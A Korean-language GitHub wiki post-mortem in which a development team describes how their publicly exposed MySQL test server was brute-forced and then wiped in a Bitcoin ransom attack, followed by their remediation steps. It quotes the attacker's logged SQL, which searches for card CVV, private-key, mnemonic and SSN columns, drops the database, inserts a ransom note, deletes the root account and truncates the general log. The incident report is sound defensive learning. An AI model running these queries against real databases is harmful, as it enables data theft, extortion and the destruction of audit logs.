Skip to content

0.0.0.0 에 대한 인스턴스 접속 허용

namewhat99 edited this page Dec 12, 2023 · 1 revision

image

서버만든지 일주일만에 Bruteforce 공격을 당했다!!!

ACG (보안 그룹) 설정을 모든 IP (0.0.0.0/0) 에 대해서 열어놓았더니 스프린트 회의를 하던 도중에 누군가 서버를 털려고 시도했다. 물론 DB서버를 모든 IP에 열어 놓으면 안되는 것을 알았지만 현재 단계에서는 테스트중이었기 때문에 크게 상관없을 것이라 생각했는데 바로 Bruteforce 공격을 당해버렸다 ㅠㅜ. DB 에 중요한 정보를 담아 놓지 않았고 있는 데이터들도 모두 아무 값이나 넣어놨기 때문에 괜찮았지만 중요한 정보를 담아놓았으면 위험할 뻔 했다.

Bruteforce 공격을 당하고 우리가 한 일

누가 했는지 찾기

도대체 누가 우리 보잘것 없는 MySQL 서버에 접속하려했는지 궁금했다. 그래서 누가 공격했는지 찾아보기로 했다.

인터넷에 찾아보니 MySQL에는 에러가 발생한 경우 로그를 기록 해둔다고 한다. 그래서 우리 서버의 에러로그를 확인 해보기로 했다. 확인 방법은 다음과 같다.

  1. mysql이 설치된 서버에서 /var/log/mysql 디렉토리에 간다.
  2. error.log 로된 파일을 연다.

image

파일을 열어 보면 왼쪽과 같이 에러가 전부 기록되어있다. Bruteforce 공격이 일어난 10:20 로그를 보니

image

약 1분에 시간동안 150번이 넘는 접속을 시도한 것을 찾을 수 있었다. 접속한 ip를 찾아보니

image

항저우에서 접근한 기록이었다…

재발 방지를 위해 한 일

General log 설정

혹시 몰라서 모든 사용자가 DB에 들어와서 어떤 해동을 하는지 로그를 기록 하기로 했다. 이 기록을 남기면 무슨 일이 생겨도 로그를 보고 어떤 일이 일어났는지 파악해서 더 빨리 대응 할 수 있다고 판단했다. 또한 우리도 실수로 잘못된 쿼리를 남길 수 있기 때문에 그럴 때도 확인 하기위해 로그를 남기는 설정을 했다.

[[MySQL] 실시간 쿼리 로그 보기](https://ruungji.tistory.com/entry/Linux-MySQL-실시간-쿼리-로그-보기)

로그 설정은 하고 보안적인 조치는 하지 않았다. 설마 두번 공격은 안 하겠지하는 마음으로 IP를 닫지도 않았고 추가적인 보안 설정을 하지 않았다. 이 선택은 몇시간후 최악의 상황을 가져왔다.

DB 탈취

한번 공격 당했는데 두번은 안 당할거라 생각한 우리는 안일했다. 바로 공격을 당한 날 8시에는 진짜 DB가 뚤려서 데이터 베이스의 데이터가 탈취 당했다.

8시 쯤 테스트를 위해 DB에 연결하는데 연결이 되지 않았다. 그래서 서버에 ssh 로 연결해 DB 상황을 확인 해 보았는데 DB 연결을 위해 만들어둔 계정이 삭제 되어있었다. 뭔가 심상치 않아 오전에 설정해둔 general log 파일을 확인해보았더니

1146 Query	INSERT INTO `README` (`id`, `Message`, `Bitcoin_Address`)
VALUES (1, 'I have backed up all your databases. To recover them you must pay 0.01 BTC (Bitcoin) to this address: 13eWyQW4YB6ecJjZasXyVNH6eAns5ogjto . Backup List: village. After your payment email me at [email protected] with your server IP (27.96.131.159) and transaction ID and you will get a download link to your backup. Emails without transaction ID and server IP will be ignored. ', '13eWyQW4YB6ecJjZasXyVNH6eAns5ogjto');

이런 로그를 발견했다. 이때 깨닳았다. DB가 털렸구나.. 데이터 베이스를 지우고 데이터를 백업하고 있으니 0.01 BTC를 보내면 돌려주겠다는 내용이었다.

더 찾아보니

1146 Query	DELETE FROM mysql.user WHERE User = 'root' AND Host = '%';

연결 할 때 쓰는 root 계정도 삭제당했다…

1146 Query	TRUNCATE table mysql.general_log

general log 테이블도 삭제하고 갔다. 외부 파일에 general log를 기록되게 해놓은것이 다행이었다. 아니었으면 어떤 공격을 당했는지도 모르고 넘어갈 뻔 했다. 이외에도 많은 작업을 하고 갔다.

  • 로그

    2023-11-20T20:00:29.303921+09:00	 1133 Connect	[email protected] on  using TCP/IP
    2023-11-20T20:00:29.726084+09:00	 1133 Query	SELECT DISTINCT t.TABLE_SCHEMA, t.TABLE_NAME, c.COLUMN_NAME, t.TABLE_ROWS
    FROM INFORMATION_SCHEMA.TABLES t
    LEFT JOIN INFORMATION_SCHEMA.COLUMNS c ON t.TABLE_NAME = c.TABLE_NAME
    WHERE t.TABLE_SCHEMA !=  'information_schema'
    AND t.TABLE_SCHEMA !=  'performance_schema'
    AND t.TABLE_SCHEMA !=  'new_schema'
    AND t.TABLE_SCHEMA !=  'phpmyadmin'
    AND t.TABLE_SCHEMA !=  'mysql'
    AND t.TABLE_SCHEMA !=  'postgres'
    AND t.TABLE_SCHEMA !=  'collectionsmax'
    AND t.TABLE_SCHEMA !=  'zabbix'
    AND t.TABLE_SCHEMA !=  'nextcloud'
    AND (
    LOWER(c.COLUMN_NAME) LIKE '%cvv'
    OR LOWER(c.COLUMN_NAME) LIKE '%privkey%'
    OR LOWER(c.COLUMN_NAME) LIKE '%private_key%'
    OR LOWER(c.COLUMN_NAME) LIKE '%privatekey%'
    OR LOWER(c.COLUMN_NAME) LIKE '%priv_key%'
    OR LOWER(c.COLUMN_NAME) LIKE '%mnemonic%'
    OR LOWER(c.COLUMN_NAME) LIKE 'ssn%'
    OR LOWER(c.COLUMN_NAME) LIKE 'socialsecur%'
    )
    ORDER BY t.TABLE_ROWS DESC 
    LIMIT 0 , 1000
    2023-11-20T20:00:30.001019+09:00	 1133 Quit	
    2023-11-20T20:17:49.111928+09:00	 1134 Connect	[email protected] on  using TCP/IP
    2023-11-20T20:17:49.579531+09:00	 1134 Query	SELECT DISTINCT t.TABLE_SCHEMA, t.TABLE_NAME, c.COLUMN_NAME, t.TABLE_ROWS
    FROM INFORMATION_SCHEMA.TABLES t
    LEFT JOIN INFORMATION_SCHEMA.COLUMNS c ON t.TABLE_NAME = c.TABLE_NAME
    WHERE t.TABLE_SCHEMA !=  'information_schema'
    AND t.TABLE_SCHEMA !=  'performance_schema'
    AND t.TABLE_SCHEMA !=  'new_schema'
    AND t.TABLE_SCHEMA !=  'phpmyadmin'
    AND t.TABLE_SCHEMA !=  'mysql'
    AND t.TABLE_SCHEMA !=  'postgres'
    AND t.TABLE_SCHEMA !=  'collectionsmax'
    AND t.TABLE_SCHEMA !=  'zabbix'
    AND t.TABLE_SCHEMA !=  'nextcloud'
    AND (
    LOWER(c.COLUMN_NAME) LIKE '%cvv'
    OR LOWER(c.COLUMN_NAME) LIKE '%privkey%'
    OR LOWER(c.COLUMN_NAME) LIKE '%private_key%'
    OR LOWER(c.COLUMN_NAME) LIKE '%privatekey%'
    OR LOWER(c.COLUMN_NAME) LIKE '%priv_key%'
    OR LOWER(c.COLUMN_NAME) LIKE '%mnemonic%'
    OR LOWER(c.COLUMN_NAME) LIKE 'ssn%'
    OR LOWER(c.COLUMN_NAME) LIKE 'socialsecur%'
    )
    ORDER BY t.TABLE_ROWS DESC 
    LIMIT 0 , 1000
    2023-11-20T20:17:49.861439+09:00	 1134 Quit	
    2023-11-20T20:20:42.854717+09:00	 1137 Connect	[email protected] on mysql using TCP/IP
    2023-11-20T20:20:42.854794+09:00	 1137 Connect	Access denied for user 'root'@'106.51.71.180' (using password: NO)
    2023-11-20T20:20:46.340121+09:00	 1138 Connect	[email protected] on mysql using TCP/IP
    2023-11-20T20:20:46.495101+09:00	 1138 Query	show global variables like 'secure_file_priv'
    2023-11-20T20:20:46.649873+09:00	 1138 Quit	
    2023-11-20T20:25:47.847530+09:00	 1140 Connect	[email protected] on mysql using TCP/IP
    2023-11-20T20:25:47.847602+09:00	 1140 Connect	Access denied for user 'root'@'79.140.227.67' (using password: NO)
    2023-11-20T20:25:48.942977+09:00	 1141 Connect	[email protected] on mysql using TCP/IP
    2023-11-20T20:25:49.300240+09:00	 1141 Query	show global variables like 'secure_file_priv'
    2023-11-20T20:25:49.660919+09:00	 1141 Quit	
    2023-11-20T20:28:55.180979+09:00	 1143 Connect	[email protected] on mysql using TCP/IP
    2023-11-20T20:28:55.181035+09:00	 1143 Connect	Access denied for user 'root'@'103.58.116.130' (using password: NO)
    2023-11-20T20:28:55.622848+09:00	 1144 Connect	[email protected] on mysql using TCP/IP
    2023-11-20T20:28:55.767761+09:00	 1144 Query	show global variables like 'secure_file_priv'
    2023-11-20T20:28:55.911930+09:00	 1144 Quit	
    2023-11-20T20:41:16.821335+09:00	 1146 Connect	[email protected] on  using TCP/IP
    2023-11-20T20:41:17.078067+09:00	 1146 Query	SHOW DATABASES
    2023-11-20T20:41:17.459971+09:00	 1147 Connect	[email protected] on  using TCP/IP
    2023-11-20T20:41:17.588637+09:00	 1147 Query	DROP DATABASE `village`
    2023-11-20T20:41:17.739208+09:00	 1146 Query	DROP DATABASE IF EXISTS `README_TO_RECOVER_SZ`
    2023-11-20T20:41:17.868673+09:00	 1146 Query	CREATE DATABASE IF NOT EXISTS `README_TO_RECOVER_SZ` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
    2023-11-20T20:41:17.868909+09:00	 1146 Query	USE `README_TO_RECOVER_SZ`;
    2023-11-20T20:41:17.869004+09:00	 1146 Query	CREATE TABLE `README` (
      `id` int(11) NOT NULL,
      `Message` text COLLATE utf8_general_ci,
      `Bitcoin_Address` text COLLATE utf8_general_ci
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
    2023-11-20T20:41:17.877560+09:00	 1146 Query	INSERT INTO `README` (`id`, `Message`, `Bitcoin_Address`)
    VALUES (1, 'I have backed up all your databases. To recover them you must pay 0.01 BTC (Bitcoin) to this address: 13eWyQW4YB6ecJjZasXyVNH6eAns5ogjto . Backup List: village. After your payment email me at [email protected] with your server IP (27.96.131.159) and transaction ID and you will get a download link to your backup. Emails without transaction ID and server IP will be ignored. ', '13eWyQW4YB6ecJjZasXyVNH6eAns5ogjto');
    2023-11-20T20:41:17.878093+09:00	 1146 Query	ALTER TABLE `README`
    ADD PRIMARY KEY (`id`)
    2023-11-20T20:41:18.042050+09:00	 1146 Query	CREATE DATABASE IF NOT EXISTS `village` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
    2023-11-20T20:41:18.042272+09:00	 1146 Query	USE `village`;
    2023-11-20T20:41:18.042379+09:00	 1146 Query	CREATE TABLE `README` (
      `id` int(11) NOT NULL,
      `Message` text COLLATE utf8_general_ci,
      `Bitcoin_Address` text COLLATE utf8_general_ci
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
    2023-11-20T20:41:18.052942+09:00	 1146 Query	INSERT INTO `README` (`id`, `Message`, `Bitcoin_Address`)
    VALUES (1, 'I have backed up all your databases. To recover them you must pay 0.01 BTC (Bitcoin) to this address: 13eWyQW4YB6ecJjZasXyVNH6eAns5ogjto . Backup List: village. After your payment email me at [email protected] with your server IP (27.96.131.159) and transaction ID and you will get a download link to your backup. Emails without transaction ID and server IP will be ignored. ', '13eWyQW4YB6ecJjZasXyVNH6eAns5ogjto');
    2023-11-20T20:41:18.053472+09:00	 1146 Query	ALTER TABLE `README`
    ADD PRIMARY KEY (`id`)
    2023-11-20T20:41:18.220641+09:00	 1146 Query	TRUNCATE table mysql.general_log;
    2023-11-20T20:41:18.222987+09:00	 1146 Query	DELETE FROM mysql.user WHERE User = 'root' AND Host = '%';
    2023-11-20T20:41:18.223212+09:00	 1146 Query	FLUSH PRIVILEGES;
    2023-11-20T20:41:18.223571+09:00	 1146 Query	RESET MASTER;
    2023-11-20T20:41:18.223667+09:00	 1146 Query	RESET SLAVE
    2023-11-20T20:41:18.350287+09:00	 1147 Quit	
    2023-11-20T20:41:18.351837+09:00	 1146 Quit
    

탈취당한 데이터베이스가 테이블만 만들어놓고 데이터는 저장해두지 않아서 크게 타격은 없었지만 커다란 교훈을 얻게 되었다. 실제 중요한 데이터가 저장되어있었더라면 우리의 소흘한 관리로 인해 엄청난 보안적인 문제가 발생할 뻔 했다.

왜 데이터베이스의 보안을 철저하게 해야하는지 경험으로 깨닳은 하루였다. 그저 편의를 위해 모든 ip를 열어두고 유추하기 쉬운 비밀번호로 설정한 것은 너무 안일했다.

조치사항

  • IP 막기
  • 유추하기 어려운 비밀번호로 변경
  • VPC 설정
Clone this wiki locally